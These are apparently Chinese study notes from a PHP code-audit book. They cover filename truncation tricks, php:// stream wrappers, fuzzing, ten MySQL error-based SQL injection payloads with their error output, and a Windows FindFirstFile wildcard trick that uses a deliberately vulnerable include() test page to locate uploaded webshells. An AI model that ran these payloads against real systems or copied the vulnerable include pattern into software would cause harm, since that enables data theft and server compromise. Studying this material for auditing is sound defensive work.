原理:PHP基于C语言开发,%00在URL解码后为\0,C语言中\0是字符串结束符。
iconv()函数字符编码转换截断
iconv()用来做字符编码转换。例如UTF-8到GBK。
字符集的编码转换总会存在一定的差异性,导致部分编码不能被成功转换,也就是出现常说的乱码。
当遇到不能处理的字符串则后续字符串不被处理。
例如:
iconv("UTF-8", "gbk", $a);
文件名$a
中有chr(128)到chr(255)之间都可以截断字符。
php://输入输出流 (8.3) P150-152
要求知道概念。
PHP提供了php://的协议允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
主要提供如下的访问方式来使用这些封装器:
流接口 | 常量 | 介绍 |
---|---|---|
php://stdin | STDIN | 只读,用于CLI模式从命令行读取内容; |
php://stdout | STDOUT | 只写,用于CLI模式向命令行标准输出输出内容; |
php://stderr | STDERR | 只写,用于CLI模式向命令行错误输出输出内容; |
php://input | 无 | 只读,用于HTTP模式读取客户端以POST方式提交, HTTP请求头Content-Type值不为multipart/form-data的数据; |
php://output | 无 | 只写,输出内容,近似echo、print的功能; |
php://memory | 无 | 读写,类似文件包装器的数据流,用于内存中读写临时数据; |
php://temp | 无 | 同上,不过当数据多于2MB会被写入到临时文件; 可以使用"php://temp/maxmemory:NN"形式设定超过NN字节时数据写入到临时文件; 临时文件位置与sys_get_temp_dir()一致; |
php://fd | 无 | 允许直接访问指定的文件描述符; 如“php://fd/3”引用了文件描述符“3”; |
php://filter | 无 | 是一种元封装器,用于数据流打开时的筛选和过滤应用。这对于一体式的文件函数非常有用,类似readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他。 |
使用最多的是php://input、php://output以及php://filter。
php://input
php://input 是个可以访问请求的原始数据的只读流。
enctype="multipart/form-data" 的时候 php://input 是无效的。
<?php
echo file_get_contents("php://input");
?>
当POST数据 a=111
时,上面代码会输出
a=111
php://output
php://output 是一个只写的数据流,允许你以 print 和 echo 一样的方式写入到输出缓冲区。
跟php://input相反,php://input是读取POST提交上来的数据,而php://output则是将数据流输出。
php://filter
php://filter 是一个文件操作协议,可以对磁盘中的文件进行读写操作,效果类似于readfile(),file()和file_get_contents(),它有多个参数可以进行相应的操作。
php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
名称 | 描述 |
---|---|
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。这个参数必须位于 php://filter 的末尾z,并且指向需要过滤筛选的数据流。 |
read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 |
write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
// php://filter/resource=<待过滤的数据流>
readfile("php://filter/resource=http://www.example.com");
// php://filter/read=<读链需要应用的过滤器列表>
/* 这会以大写字母输出 www.example.com 的全部内容 */
readfile("php://filter/read=string.toupper/resource=http://www.example.com");
/* 这会和以上所做的一样,但还会用 ROT13 加密。 */
readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.example.com");
// php://filter/write=<写链需要应用的过滤器列表>
file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
fuzz漏洞发现 模糊测试(8.5) P154
fuzz指的是对特定目标的模糊测试。
模糊测试(Fuzz testing,简称fuzzing)是一种检查计算机程序或系统如何响应各种(有时是随机的)输入和信息的方法。这个过程包括生成某种类型的数据,要么是完全随机的,要么是在一定约束下随机产生的,然后将这些数据输入到程序中,以测试它如何处理意外信息。模糊测试最基本的形式是向程序发送一个随机的按键或字符序列,并检查程序是否正确处理它们。更复杂的模糊测试使用的是随机的结构化数据操作并发送到程序中。数据可以作为系统事件、键盘输入,模拟网络信号,甚至是要加载的文件。
当我们使用Office Word打开doc文件的时候,Word软件会按照指定的格式读取文件的内容。
如果文件格式出现异常字符,Word无法解析,而又没有提前捕捉到这种类型的错误,则有可能引发Word程序崩溃,这就是一个bug。
这时候我们可以通过工具生成大量带有异常格式或字符的doc文档,然后调用Word程序去读取,尝试发现更多的bug。
十余种MySQL报错注入 (8.7) P157
利用数据库报错来显示数据的注入方式经常会在入侵中利用到,这种方法有一点局限性,需要页面有错误回显。而在代码审计中,经常会遇到没有正常数据回显的SQL注入漏洞,这时候我们就需要用报错注入的方式最快地拿到注入的数据。
早在很久以前就用到的数据类型转换报错是用得最多的一种方式,这种方式大多用在微软的SQL Server上,利用的是convert()和cast()函数。
- convert()
- cast()
MySQL的报错SQL注入方式更多,不过多数人以为只有三种,分别是floor()、updatexml()以及extractvalue()这三个函数。
- floor()
- updatexml()
- extractvalues()
但实际上还有很多个函数都会导致MySQL报错并且显示出数据,它们分别是GeometryCollection()、polygon()、GTID_SUBSET()、multipoint()、multilinestring()、multipolygon()、LINESTRING()、exp(),下面我们来看看它们具体的报错用法,需要注意的一点是,这些方法并不是在所有版本都通用,也有比较老的版本没有这些函数。
通常注入的SQL语句大多是"select*from phpsec where id=?”这种类型,这里我们就用这种形式来说明怎么利用,利用方式分别如下。
1 floor()
注入语句:
id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)
SQL语句执行后返回的错误信息如图所示
通过截图我们可以看到MySQL出现了报错,并且显示出了当前的连接用户名。
2 extractvalue()
注入语句:
id = 1 and (extractvalue(1, concat(0x5c, (select user()))))
错误信息如图所示
3 updatexml()
注入语句:
id = 1 AND (updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
错误信息:
[Err] 1105 - XPATH syntax error: '^$root@localhost^$'
4 GeometryCollection()
注入语句:
id = 1 AND GeometryCollection((select * from(select * from(select user())a)b))
错误信息:
[Err] 1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
5 polygon()
注入语句:
id = 1 AND polygon((select * from(select * from(select user())a)b))
错误信息:
[Err] 1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
6 multipoint()
注入语句:
id = 1 AND multipoint((select * from(select * from(select user())a)b))
错误信息:
[Err] 1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
7 multilinestring()
注入语句:
id = 1 AND multilinestring((select * from(select * from(select user())a)b))
错误信息:
[Err] 1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
8 multipolygon()
注入语句:
id = 1 AND multipolygon((select * from(select * from(select user())a)b))
错误信息:
[Err] 1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
9 linestring()
注入语句:
id = 1 AND LINESTRING((select * from(select * from(select user())a)b))
错误信息:
[Err] 1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
10 exp()
注入语句:
id = 1 and EXP(~(SELECT*from(SELECT user())a))
错误信息:
[Err] 1690 - DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual))
Windows FindFirstFile利用 (8.8) P161-162
目前大多数程序都会对上传的文件名加入时间戳等字符再进行MD5,然后下载文件的时候通过保存在数据库里的文件ID读取出文件路径,一样也实现了文件下载,这样我们就无法直接得到我们上传的webshell文件路径
但是当在Windows下时,我们只需要知道文件所在目录,然后利用Windows的特性就可以访问到文件,这是因为Windows在搜索文件的时候使用到了FindFirstFile这一个winapi函数,该函数到一个文件夹(包括子文件夹)去搜索指定文件。
利用方法很简单,我们只要将文件名不可知部分之后的字符用 <
或者 >
代替即可,不过要注意的一点是,只使用一个“<”或者“>”则只能代表一个字符,如果文件名是12345或者更长,这时候请求“1<”或者“1>”都是访问不到文件的,需要“1<<”才能访问到,代表继续往下搜索,有点像Windows的短文件名,这样我们还可以通过这个方式来爆破目录文件了。
我们来做个简单的测试,测试代码如下:
<?php include($_GET['file']); ?>
再在同目录下新建一个文件名为“123456.txt”的文件,内容为phpinfo()。
请求
/1.php?file=1<<
即可成功包含123456.txt文件。
目前所有PHP版本都可用,PHP并没有在语言层面禁止使用 >
、 <
这些特殊字符,在函数层面来讲,这个特性并不是只有include()、require()这些文件包含函数或者file_get_contents()这类文件读取函数才可用,事实上还有很多个函数也一样是可用这个特性的,参见表: